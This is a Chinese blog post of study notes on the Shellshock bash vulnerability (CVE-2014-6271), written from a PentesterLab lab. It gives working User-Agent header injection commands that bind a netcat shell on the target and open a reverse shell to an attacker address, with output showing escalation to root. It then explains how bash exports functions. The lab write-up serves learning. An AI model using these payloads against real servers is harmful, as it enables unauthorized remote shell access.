shellshock学习
来源:互联网 发布:日语语法记不住 知乎 编辑:程序博客网 时间:2024/05/03 15:36
参考:https://pentesterlab.com/exercises/cve-2014-6271/course
绑定shell
在本机上操作。为了得到一个交互式shell,先在vulnerable(192.168.170.250)上用nc将/bin/sh绑定(bind)到本地9999端口。
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.170.250 80
然后再在本机上用另一个终端连接到vulnerable的9999端口。得到shell!
➜ ~ nc 192.168.170.250 9999 [17:16:07]iduid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)pwd/var/www/cgi-binlsstatussudo -siduid=0(root) gid=0(root) groups=0(root)
绑定shell有一个很大的限制,即在你和vulnerable之间的防火墙会限制你连接到刚才你绑定的端口上。为了绕过这个限制,我们得让服务器主动连接我们。
反弹shell
为了让vulnerable主动连接我们,我们得在本地先绑定一个端口,而且得是一个vulnerable有权限的端口。最常见的就是21 (FTP), 53 (DNS), 123 (NTP), 80 (HTTP) and 443 (HTTPs) 。因为这些端口是保持系统更新并且处理日常操作的。
于是我们用root权限绑定本地的443端口
$ sudo nc -l 192.168.170.1 443
然后就要让vulnerable主动来连接我们
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.170.250 80
然后在之前的shell里面,我们就可以输入命令,我们已经在vulnerable的shell里面了!
➜ ~ sudo nc -l 192.168.170.1 443 [17:31:56]iduid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)sudo -siduid=0(root) gid=0(root) groups=0(root)
直接在vulnerable上测试。
pentesterlab@vulnerable:~$ export dummy='() { echo "hi";}; echo "pwned"'pentesterlab@vulnerable:~$ bashpwnedpentesterlab@vulnerable:~$ iduid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
在bash中,默认情况下父shell的函数是不能被子shell调用的。
而通过export -f fucntion_name
引入函数,这样在子shell中就可以调用父shell的函数了。
➜ ~ bash [19:50:08]bash-3.2$ cqq(){ echo "this is cqq";} #定义cqq这个函数bash-3.2$ cqq # 在父shell中调用cqq函数this is cqqbash-3.2$ bash # 未引入函数就进入子shellbash-3.2$ cqq # 在未引入函数的情况下在子shell中调用父shell函数bash: cqq: command not found # 结果无法调用bash-3.2$ export -f cqq # 引入cqq函数,以便在子shell中调用bash-3.2$ bash # 进入子shellbash-3.2$ cqq # 在子shell中调用cqq函数this is cqq # 成功调用bash-3.2$
参考:
http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure
http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock
shellshock的条件
- 新的子shell产生
- 引入了一个环境变量
- 这个环境变量以”()”开始,并且包含函数体,然后在函数结束之后,还有命令在函数体外面
在这种条件下,一个vulnerable bash将会执行函数体后的命令
Example:
$ export ex='() { echo "this is function ex";}; echo "this is bad";'$ bashthis is bad$ exthis is function ex
说明:这个常规的引入的变量ex
被传到了子shell,并且被解释成了函数ex
。但是!!!!
当子shell产生时,尾随其后的命名却被执行了!!!!!!!!
这篇文章详细说明了与bash相关的背景知识。并且详细解释了shellshock。
http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure?newreg=eced0603b0aa4f879cf5d38786c42fd2
- shellshock学习
- ShellShock
- shellshock linux 漏洞
- “破壳”(Shellshock)漏洞修复
- ShellShock 分析记录
- ShellShock 攻击实验
- pwnable.kr之shellshock
- Shellshock绕过的一点疑问
- 【pwnable.kr-----解题过程】shellshock
- Bash Remote Code Execution (Shellshock)
- pwnable.kr---mistake,shellshock,coin1
- 【ROM】4.0.4RE-FLEXxx-ShellSHOCK…
- 【ROM】4.0.4RE-FLEXxx-ShellSHOCK…
- 【ROM】4.0.4RE-FLEXxx-ShellSHOCK…
- 【ROM】4.0.4RE-FLEXxx-ShellSHOCK…
- 【ROM】4.0.4RE-FLEXxx-ShellSHOCK…
- 谷歌亚马逊争相修复Shellshock安全漏洞
- 破壳(shellshock)漏洞的一些汇总
- 《Oracle SQL优化基础》之分区
- Vue路由
- struct tm 的介绍
- QTE环境下实现屏保功能
- iOS逆向工程整理_HOOK微信抢红包_0x02
- shellshock学习
- 质因数分解
- spring boot 自学笔记(三) Redis集成—RedisTemplate
- 二值化神经网络系列一:二值化神经网络介绍
- MPAndroidChart之PieChart
- 折半查找(递归方法)
- 执行hiberante的save,执行了hql语句,但是数据库却没有保存
- iOS 中对 HTTPS 证书链的验证
- jq遍历json/数组